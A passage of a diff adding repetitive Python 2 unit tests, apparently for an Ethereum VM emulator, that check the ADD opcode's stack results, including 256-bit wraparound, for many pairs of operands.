+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504350043516790537761646130706531776516538464538864L])
+
+    def test_ADD_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301262L])
+
+    def test_ADD_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_ADD_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301264L])
+
+    def test_ADD_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [61514547407324228818772085785865451047049679353621549645961841504203850121215L])
+
+    def test_ADD_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [7237005577332262213973186563042994240829374041602535252466099000494570602526L])
+
+    def test_ADD_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301279L])
+
+    def test_ADD_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301295L])
+
+    def test_ADD_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301311L])
+
+    def test_ADD_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281527586710570232449627116313036034012829185020175L])
+
+    def test_ADD_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADD_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADD_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADD_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819968L])
+
+    def test_ADD_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301279L])
+
+    def test_ADD_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADD_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADD_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADD_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718928L])
+
+    def test_ADD_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADD_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADD_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_ADD_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819984L])
+
+    def test_ADD_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301295L])
+
+    def test_ADD_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADD_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADD_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [80L])
+
+    def test_ADD_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718944L])
+
+    def test_ADD_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_ADD_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADD_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49L])
+
+    def test_ADD_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820000L])
+
+    def test_ADD_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301311L])
+
+    def test_ADD_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
